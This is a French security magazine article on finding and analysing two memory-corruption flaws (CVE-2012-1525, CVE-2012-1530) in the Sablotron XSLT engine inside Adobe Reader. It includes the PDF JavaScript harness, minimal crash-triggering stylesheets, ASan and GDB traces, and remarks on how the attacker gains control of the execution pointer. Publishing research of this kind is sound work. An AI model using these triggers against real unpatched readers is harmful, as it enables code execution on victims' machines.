Adobe Reader et XSLT

Magazine
Marque
MISC
Numéro
66
Mois de parution
mars 2013
Domaines


Résumé
Adobe Reader utilise comme interpréteur XSLT une bibliothèque open source, Sablotron. L’étude en « boîte blanche » de cette bibliothèque a permis d’identifier plusieurs vulnérabilités que nous allons détailler.

Body

1. Démarche globale

Cela fait plusieurs années que j’applique une démarche relativement atypique pour identifier des vulnérabilités dans certains logiciels du marché. L’astuce consiste à tester de manière isolée un composant open source, en utilisant l’ensemble des solutions techniques applicables (calcul de la couverture de code avec GCov [GCOV], instrumentation des accès mémoire avec Address Sanitizer [ASAN], visualisation de structures complexes avec Data Display Debugger [DDD]…). Une fois une ou plusieurs vulnérabilités identifiées, il ne reste qu’à les déclencher via le logiciel ciblé, qui lui est éventuellement propriétaire.

Cette technique a permis d’identifier des vulnérabilités dans VMware ESX, Novell eDirectory, Webkit, PostgreSQL, PHP5 et Adobe Reader. Évidemment, cette technique permet entre autres de réaliser du fuzzing très ciblé, avec des performances très largement supérieures à celles pouvant être obtenues en testant le logiciel de manière globale.

2. Adobe Reader et Sablotron

Dans le cas d’Adobe Reader, il est possible d’exécuter du code XSLT soit via les formulaires XFA (« XML Forms Architecture » [XFA]), soit via JavaScript. La création de formulaires XFA+XSLT nécessitant l’utilisation d’Adobe LiveCycle ES3, l’option JavaScript a été privilégiée.

Une structure modulaire est adoptée pour le fichier PDF de test : le code JavaScript traite des documents XML (la source de données et la feuille XSLT) localisés ailleurs dans le document, ici en xfa.data.nodes.item(0). La source de données XML est le premier nœud, et la feuille XSLT le deuxième. Le résultat de la transformation est affiché via une boîte de dialogue :

var xslt = xfa.data.nodes.item(0).nodes.item(1).saveXML();

var result = xfa.data.nodes.item(0).nodes.item(0).applyXSL(xslt);

app.alert(result);

Les interpréteurs XSLT disposent tous de fonctions d’introspection. Cela permet d’identifier facilement l’interpréteur sous-jacent, simplement en appelant la fonction system-property(’xsl:vendor’). Lors de la phase d’identification de l’interpréteur XSLT sous-jacent, la feuille XSLT suivante est utilisée :

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

 <xsl:output method="text" media-type="text/plain"/>

 <xsl:template match="/">

  Vendor : <xsl:value-of select="system-property(’xsl:vendor’)" />

  URL : <xsl:value-of select="system-property(’xsl:vendor-url’)" />

 </xsl:template>

</xsl:stylesheet>

Le résultat, illustré par la capture d’écran suivante, est identique pour toutes les versions d’Adobe Reader.

fp-windows

Fig. 1 : Boîte de dialogue générée par Adobe Reader XI

L’URL www.gingerall.com révèle que l’interpréteur XSLT utilisé est Sablotron. Pour être plus précis, Ginger Alliance était l’hébergeur et le principal contributeur de Sablotron, à l’époque où ce projet était encore actif. De nos jours, il n’existe plus qu’une page sur [SOURCEFORGE] référençant la dernière version (1.0.3 datée de juillet 2006). Une recherche pour le mot-clé Sablotron sur le site d’Adobe révèle que les modifications apportées par Adobe à cette bibliothèque sont librement téléchargeables depuis leur site [PATCH]. Les modifications les plus récentes datent de 2004 et s’appliquent à Sablotron 1.0.1, que nous allons donc tester.

Récapitulons… Adobe Reader inclut une version modifiée d’une bibliothèque open source, Sablotron. La version sur laquelle se base Adobe est vieille d’une dizaine d’années, et les fichiers CHANGES indiquent qu’une attention spécifique a été portée aux aspects de performance et de sécurité :

Various code hygiene changes: eliminated all write accesses to constant strings; eliminated the creation of unterminated strings; eliminated all potential buffer overruns; eliminated all known potential floating-point and integer overflows; replaced some hard-coded constants for initial list sizing with e.g. LIST_SIZE_2; eliminated all newly discovered memory leaks. Most of the memory leaks resulted from error handling, e.g. usage of undeclared variables

Voilà un challenge qui s’annonce intéressant !

3. Instrumentation et fuzzing de Sablotron

Address Sanitizer est un des modules du compilateur LLVM. Il permet d’étudier de manière dynamique (pendant l’exécution d’un programme) les accès à la mémoire, afin de détecter des erreurs comme des « heap overflow » ou « double free ». Les performances d’un programme compilé avec Address Sanitizer sont deux fois moins bonnes que sans instrumentation. Cela reste extrêmement intéressant comparé à Valgrind dont l’impact est d’un facteur 20 à 30. La compilation de Sablotron 1.0.1 avec LLVM et Address Sanitizer est triviale :

LDFLAGS="-faddress-sanitizer -ldl -lm -lstdc++" CC="$HOME/asan/third_party/llvm-build/Release+Asserts/bin/clang" CFLAGS="-faddress-sanitizer -O1 -fno-omit-frame-pointer -g" CXX="$HOME/asan/third_party/llvm-build/Release+Asserts/bin/clang++" CXXFLAGS="-faddress-sanitizer -O1 -fno-omit-frame-pointer -g" ./configure

Nous disposons maintenant d’un exécutable minimaliste, instrumenté et représentatif des fonctionnalités XSLT d’Adobe Reader. Il ne reste plus qu’à appliquer un fuzzing par mutation tout à fait classique. Or, qui dit fuzzing par mutation (ou dumb fuzzing) implique l’accès à un volumineux corpus de feuilles XSLT valides et l’utilisation d’un diversificateur adapté à ce format.

Ayant par le passé eu pas mal de succès avec Radamsa [RADAMSA] (dont l’identification de failles de sécurité dans Microsoft Excel, Mozilla Firefox, Webkit, …), la question du diversificateur ne se pose pas. En ce qui concerne l’obtention de multiples feuilles XSLT valides, il suffit d’utiliser les « Test Suites » éditées par le W3C, le NIST ou OASIS. Les interfaces de suivi de bugs de plusieurs projets libres ont elles aussi été écumées, afin de collecter des feuilles XSLT connues pour avoir causé des problèmes.

Le banc de tests est donc composé des binaires Sablotron et Radamsa, d’une source de données XML relativement complexe, de 7 000 feuilles XSLT distinctes et d’un simple script Shell orchestrant le tout. Environ deux millions de tests sont réalisés chaque jour, dans une VM hébergée sur un ordinateur portable. Cela est bien supérieur à ce qu’il serait possible d’obtenir en testant directement Adobe Reader.

4. CVE-2012-1525 : débordement sur le tas

Au bout de quelques minutes, un premier plantage est détecté par ASan. Le rapport généré est le suivant :

==2288== ERROR: AddressSanitizer heap-buffer-overflow on address 0x7f8abcc394f4 at pc 0x7f8abe931825 bp 0x7fffab43bd30 sp 0x7fffab43bd28

WRITE of size 4 at 0x7f8abcc394f4 thread T0

    #0 00000000000f8825 <utf8ToUtf16(wchar_t*, char const*)+0x135>:

    for (const char *p = src; *p; p += utf8SingleCharLength(p))

    {

        code = utf8CharCode(p);

        if (code < 0x10000UL)

        {

            *dest = (wchar_t)(code);

   f8825: 89 fa                 mov    %edi,%edx

    #1 isValidNCName(char const*)+0x52

    #2 isValidQName(char const*)+0x8e

    #3 XSLElement::execute(Situation&, Context*, int)+0x18a9

    #4 AttSet::execute(Situation&, Context*, Tree&, QNameList&, int)+0x273

    #5 AttSetList::executeAttSet(Situation&, QName&, Context*, Tree&, QNameList&, int)+0x144

    #6 Element::executeAttributeSets(Situation&, Context*, int)+0x1a6

    #7 XSLElement::execute(Situation&, Context*, int)+0x1347

    #8 VertexList::execute(Situation&, Context*, int)+0x7d

    #9 Daddy::execute(Situation&, Context*, int)+0xd

    #10 XSLElement::execute(Situation&, Context*, int)+0x1d15

    #11 Processor::execApplyTemplates(Situation&, Context*, int)+0x149

    #12 Processor::execute(Situation&, Vertex*, Context*&, int)+0x6c

    #13 XSLElement::execute(Situation&, Context*, int)+0x2100

    #14 VertexList::execute(Situation&, Context*, int)+0x7d

    #15 Daddy::execute(Situation&, Context*, int)+0xd

    #16 RootNode::execute(Situation&, Context*, int)+0x9

    #17 Processor::run(Situation&, char const*, void*)+0x4a9

    #18 SablotRunProcessor+0x1ad

    #19 runSingleXSLT(char const**, char const**, char**)+0x2c4

    #20 main+0x4ea

    #21 __libc_start_main+0xfd

0x7f8abcc394f4 is located 0 bytes to the right of 1140-byte region [0x7f8abcc39080, 0x7f8abcc394f4) allocated by thread T0 here:

    #0 000000000040b042 <operator new[](unsigned long)+0x22>:

  40b042: 4c 8d b5 d8 fd ff ff  lea    -0x228(%rbp),%r14

    #1 isValidNCName(char const*)+0x44

    #2 isValidQName(char const*)+0x8e

    #3 XSLElement::execute(Situation&, Context*, int)+0x18a9

    #4 AttSet::execute(Situation&, Context*, Tree&, QNameList&, int)+0x273

    #5 AttSetList::executeAttSet(Situation&, QName&, Context*, Tree&, QNameList&, int)+0x144

    #6 Element::executeAttributeSets(Situation&, Context*, int)+0x1a6

    #7 XSLElement::execute(Situation&, Context*, int)+0x1347

    #8 VertexList::execute(Situation&, Context*, int)+0x7d

    #9 Daddy::execute(Situation&, Context*, int)+0xd

    #10 XSLElement::execute(Situation&, Context*, int)+0x1d15

    #11 Processor::execApplyTemplates(Situation&, Context*, int)+0x149

    #12 Processor::execute(Situation&, Vertex*, Context*&, int)+0x6c

    #13 XSLElement::execute(Situation&, Context*, int)+0x2100

    #14 VertexList::execute(Situation&, Context*, int)+0x7d

    #15 Daddy::execute(Situation&, Context*, int)+0xd

    #16 RootNode::execute(Situation&, Context*, int)+0x9

    #17 Processor::run(Situation&, char const*, void*)+0x4a9

    #18 SablotRunProcessor+0x1ad

    #19 runSingleXSLT(char const**, char const**, char**)+0x2c4

    #20 main+0x4ea

Comme toujours avec ASan, le rapport est très riche et permet d’appréhender rapidement le bug. Ici, une structure de 1400 octets est allouée via l’opérateur new[] dans la fonction isValidNCName(). Un peu plus tard, la fonction utf8ToUtf16() tente d’écrire après cette structure, indiquant un débordement sur le tas tout à fait classique.

Voici le code de la fonction qui vérifie la validité du NCName passé en paramètre :

351 Bool isValidNCName(const char* name)

352 {

353   int len = utf8StrLength(name);

354   if (len == 0) return FALSE;

355

356   wchar_t *buff = new wchar_t[len + 1];

357

358   utf8ToUtf16(buff, name);

La structure buff est créée ligne 356 avec une taille issue de la fonction utf8StrLength(). Le code de cette fonction est le suivant :

62 int utf8StrLength (const char* text)

63 {

64     int len;

65     for (len = 0; *text; len++)

66     {

67         if (!(*text & 0x80))

68                 text++;

69                 else text += utf8SingleCharLength(text);

70     }

71     return len;

72 }

Il apparaît que la variable len n’est mise à jour que par len++ dans l’instruction for. Donc, le résultat de utf8SingleCharLength() n’affectera pas sa valeur. Cette fonction retournera donc 5 pour la chaîne AB, au lieu de 8 (4 caractères de 1 octet + 1 caractère de 4 octets). La variable buff sera donc trop petite pour stocker le résultat de la conversion, d’où le crash ligne 169 (dans le cas présent) de la fonction utf8ToUtf16() détaillée ci-dessous :

159 int utf8ToUtf16(wchar_t *dest, const char *src)

160 {

161     unsigned long code;

162     int len = 0,

163         thislen;

164     for (const char *p = src; *p; p += utf8SingleCharLength(p))

165     {

166         code = utf8CharCode(p);

167         if (code < 0x10000UL)

168         {

169             *dest = (wchar_t)(code);

170             thislen = 1;

171         }

172         else

173         {

174             dest[0] = 0xd7c0U + (code >> 10);

175             dest[1] = 0xdc00U | code & 0x3ff;

176             thislen = 2;

177         };

178         dest += thislen;

179         len += thislen;

180     }

181     *dest = 0;

182     return len;

183 }

Une feuille XSLT minimaliste permettant de reproduire le bug serait de la forme suivante :

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">

 <xsl:template match="/">

   <xsl:attribute name="AB"/>

 </xsl:template>

</xsl:stylesheet>

Une fois notre fichier PDF de test modifié pour inclure cette feuille XSLT, il suffit de l’ouvrir dans Adobe Reader pour déclencher le bug. Voilà ce que cela donne avec Reader 9.5.1 sous Linux :

*** glibc detected *** /usr/bin/acroread: free(): corrupted unsorted chunks: 0x0c5bbb80 ***

======= Backtrace: =========

/lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb5abcee2]

/usr/lib/i386-linux-gnu/libstdc++.so.6(_ZdlPv+0x1f)[0xb5a0b51f]

/usr/lib/i386-linux-gnu/libstdc++.so.6(_ZdaPv+0x1b)[0xb5a0b57b]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0x52292)[0xb2902292]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0x523f2)[0xb29023f2]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0x855c9)[0xb29355c9]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xa23bc)[0xb29523bc]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xa8dad)[0xb2958dad]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xabac8)[0xb295bac8]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xacced)[0xb295cced]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xaec9d)[0xb295ec9d]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xaf425)[0xb295f425]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xa72f8)[0xb29572f8]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xad05a)[0xb295d05a]

/opt/Adobe/Reader9/Reader/intellinux/lib/libAXSLE.so(+0xa4495)[0xb2954495]

En termes d’exploitation, les contraintes sont peu nombreuses : l’attaquant peut allouer une variable de la taille qu’il souhaite, puis y copier des données dont il maîtrise la longueur et le contenu ;-)

5. CVE-2012-1530 : confusion de type

Un deuxième plantage est détecté quelques jours plus tard. Le rapport est cette fois-ci moins précis, cette famille de vulnérabilités (confusion de type) n’étant pas de celles détectées nativement par ASan :

==13350== ERROR: AddressSanitizer crashed on unknown address 0x74757074756f (pc 0x7fb537c12ae7 sp 0x7fff48b894e0 bp 0x7fff48b89510 T0)

    #0 0000000000102ae7 <AttList::findNdx(QName const&)+0x97>:

 // need to use a temporary variable

 // to get around Solaris template problem

        Vertex * pTemp = (*this)[i];

        a = toA(pTemp);

        if (attName == a -> getName())

  102ae7: 48 8b 07              mov    (%rdi),%rax

    #1 Expression::callFunc(Situation&, Expression&, PList<Expression*>&, Context*)+0x2c16

    #2 Expression::eval(Situation&, Expression&, Context*, int)+0xe5f

    #3 Expression::trueFor(Situation&, Context*, int&)+0xb1

    #4 Expression::createLPContextLevel(Situation&, int, int, void*, Context&, Context*)+0x6fa

    #5 Expression::createLPContext(Situation&, Context*&, int, void*)+0x1a1

    #6 Expression::createContext(Situation&, Context*&, int)+0x7a1

    #7 XSLElement::execute(Situation&, Context*, int)+0x872

    #8 VertexList::execute(Situation&, Context*, int)+0x7d

    #9 Daddy::execute(Situation&, Context*, int)+0xd

    #10 XSLElement::execute(Situation&, Context*, int)+0x1d15

    #11 Processor::execApplyTemplates(Situation&, Context*, int)+0x149

    #12 Processor::execute(Situation&, Vertex*, Context*&, int)+0x6c

    #13 Processor::builtinRule(Situation&, Context*, int)+0x1d8

    #14 Processor::execApplyTemplates(Situation&, Context*, int)+0x10e

    #15 Processor::execute(Situation&, Vertex*, Context*&, int)+0x6c

    #16 XSLElement::execute(Situation&, Context*, int)+0x2100

    #17 VertexList::execute(Situation&, Context*, int)+0x7d

    #18 Daddy::execute(Situation&, Context*, int)+0xd

    #19 RootNode::execute(Situation&, Context*, int)+0x9

    #20 Processor::run(Situation&, char const*, void*)+0x4a9

    #21 SablotRunProcessor+0x1ad

    #22 runSingleXSLT(char const**, char const**, char**)+0x2c4

    #23 main+0x4ea

    #24 __libc_start_main+0xfd

Le programme plante en essayant d’accéder l’adresse 0x74757074756f lors de l’appel à la méthode getName de la structure « a » de type « Attribute ». Or cette valeur ressemble étrangement à une chaîne ASCII. Après décodage, cette valeur correspond à la chaîne output qui est bel et bien présente dans la source de données XML. Après réduction manuelle de la feuille XSLT et des données XML, nous arrivons à quelque chose d’intéressant.

La feuille XSLT :

  1 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

  2 <xsl:template match="node()">

  3     <xsl:apply-templates select="node()[lang(’foo’)]"/>

  4 </xsl:template>

  5 </xsl:stylesheet>

La source de données XML :

  1 <a>

  2   <abcd/>

  3 </a>

Le crash :

==30232== ERROR: AddressSanitizer crashed on unknown address 0x000064636261 (pc 0x7f9276fe7f57 sp 0x7fff138122e0 bp 0x7fff13812310 T0)

    #0 0000000000102f57 <AttList::findNdx(QName const&)+0x77>:

    {

 // need to use a temporary variable

 // to get around Solaris template problem

        Vertex * pTemp = (*this)[i];

        a = toA(pTemp);

        if (attName == a -> getName())

  102f57: 48 8b 07              mov    (%rdi),%rax

    #1 Expression::callFunc(Situation&, Expression&, PList<Expression*>&, Context*)+0x2c52

    #2 Expression::eval(Situation&, Expression&, Context*, int)+0xe5f

    #3 Expression::trueFor(Situation&, Context*, int&)+0xb1

    #4 …

Il reste une question à laquelle répondre : comment les données injectées par l’attaquant sont-elles utilisées par la suite par le programme ? Regardons avec GDB :

Program received signal SIGSEGV, Segmentation fault.

AttList::findNdx (this=0x6c6ef8, attName=...) at verts.cpp:1282

1282         if (attName == a -> getName())

(gdb) x/3i $rip

=> 0x415d24 <_ZN7AttList7findNdxERK5QName+96>: mov (%rdi),%rax

   0x415d27 <_ZN7AttList7findNdxERK5QName+99>: callq *0x40(%rax)

   0x415d2a <_ZN7AttList7findNdxERK5QName+102>: mov    %rax,%rsi

(gdb) p/x $rdi

$2 = 0x64636261

Récapitulons : suite à des conversions de type explicites causées par les appels à la fonction XPath node(), une chaîne de texte extraite de la source de données XML est utilisée comme adresse mémoire. Cette adresse mémoire est considérée par l’application comme une structure de type « Attribute ». Cette structure contient à l’offset 0x40 un pointeur vers la fonction getName qui est exécutée directement après. Voici une situation parfaite pour l’attaquant !

Vérifions tout de même si le fonctionnement est similaire sous Adobe Reader (ici la version 10.1.4 sous Windows) :

adobeX

Fig. 2 : Crash survenant juste avant l’appel à la fonction située en [EAX+1C]

Impeccable ! Mis à part de légères différences liées au changement de système d’exploitation, de plate-forme matérielle et de compilateur, on retrouve bien le comportement identifié dans la version « ligne de commandes ». Maîtriser le pointeur d’exécution est maintenant trivial, et l’exploitation complète est laissée en exercice au lecteur. Il est à noter que les versions X et XI d’Adobe Reader incluent un « bac à sable », dont il faudra ensuite sortir… ou pas.

Conclusion

Voilà comment l’étude d’une obscure bibliothèque permet d’identifier facilement plusieurs vulnérabilités affectant toutes les versions d’Adobe Reader. La même méthodologie est applicable aux autres bibliothèques utilisées par Adobe Reader, et bien sûr à tous les programmes propriétaires incluant des composants open source. Bonne chasse !

Liens

[GCOV] http://en.wikipedia.org/wiki/Gcov

[ASAN] http://code.google.com/p/address-sanitizer/

[DDD] http://www.gnu.org/software/ddd/

[XFA] http://partners.adobe.com/public/developer/xml/index_arch.html

[SOURCEFORGE] http://sourceforge.net/projects/sablotron/

[PATCH] http://partners.adobe.com/public/developer/opensource/index.html

[RADAMSA] http://code.google.com/p/ouspg/wiki/Radamsa




Articles qui pourraient vous intéresser...

Sauvegardez vos données, centralisez vos logs et supervisez votre sécurité

Magazine
Marque
Linux Pratique
HS n°
Numéro
49
Mois de parution
novembre 2020
Domaines
Résumé

Nos serveurs présentent désormais une surface d’attaque réseau maîtrisée et une sécurisation système d’un niveau cohérent avec notre modèle de menaces. De même, le service SSH tournant sur ces serveurs est configuré de manière optimisée. Nous pouvons donc être relativement sereins si nos adversaires sont d’un niveau intermédiaire. Et si malgré toutes ces protections, une attaque comme un rançongiciel réussissait ? Et bien dans ce cas-là, pour l’instant, notre infrastructure serait particulièrement vulnérable. Aucune sauvegarde externalisée. Pas de centralisation des traces. Une supervision sécurité inexistante. Remédions à cette situation afin d’élever le niveau de maturité de la sécurité de notre infrastructure.

Investigation numérique de l’image disque d’un environnement Windows

Magazine
Marque
MISC
Numéro
112
Mois de parution
novembre 2020
Domaines
Résumé

Une investigation numérique requiert de nombreuses étapes. Celles-ci varient en fonction des données disponibles. Une des plus importantes est l’analyse de la mémoire vive (voir MISC N°111 [1]). L’analyse de la mémoire de masse, constituée des événements propres au système d’exploitation apporte de nouveaux éléments. Une fois celles-ci terminées, la corrélation des deux nous permettra de confirmer d’éventuelles hypothèses.

Sécurisez votre réseau

Magazine
Marque
Linux Pratique
HS n°
Numéro
49
Mois de parution
novembre 2020
Domaines
Résumé

Maintenant que notre serveur principal est déployé et que nous y avons appliqué un premier niveau de sécurisation système, occupons-nous de sa sécurisation réseau. Nous allons détailler en quoi les attaques réseau sont primordiales dans notre modèle de menace. Comme nous le verrons, l’accès distant est le risque principal qui guette nos serveurs. Nous allons mettre en œuvre une sécurité en profondeur et les mesures de protection réseau en seront une de ses dimensions importantes.